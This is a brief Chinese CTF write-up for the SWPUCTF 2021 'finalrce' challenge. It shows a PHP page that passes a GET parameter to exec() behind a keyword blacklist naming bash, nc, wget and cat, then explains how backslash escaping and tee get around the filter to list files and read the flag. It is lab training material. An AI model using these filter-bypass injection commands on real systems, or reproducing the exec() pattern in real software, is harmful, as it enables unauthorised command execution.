目录

[SWPUCTF 2021 新生赛]finalrce

目录

[SWPUCTF 2021 新生赛]finalrce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);

// 检查是否设置了 'url' 参数
if(isset($_GET['url']))
{
    // 获取 'url' 参数的值
    $url=$_GET['url'];
    // 使用正则表达式检查 'url' 参数是否包含这些些命令或字符
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry, you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}
?>

exec() 在执行系统命令后,通常不会返回命令的输出结果 (回显) 到调用的 PHP 脚本

使用 tee 命令将命令的输出写入到某个文件,再去访问这个文件就能看到命令的执行结果

以下是一些 tee 命令的例子:

  1. 将命令的输出写入文件:
1
command | tee output.txt

command 命令的输出同时显示在终端并写入 output.txt 文件

  1. 使用 -a 选项追加到文件:
1
command | tee -a output.txt

command 命令的输出追加到 output.txt 文件的末尾

  1. 将输出同时写入多个文件:
1
command | tee file1.txt file2.txt

command 命令的输出同时写入 file1.txtfile2.txt

使用转义字符\绕过黑名单

l\s ../../.. | tee output.txt

https://pic.imgdb.cn/item/65505620c458853aefae9be6.jpg

https://pic.imgdb.cn/item/65505642c458853aefaf01c7.jpg

c\at ../../../flllll\aaaaaaggggggg | tee output.txt

https://pic.imgdb.cn/item/65505686c458853aefafd43e.jpg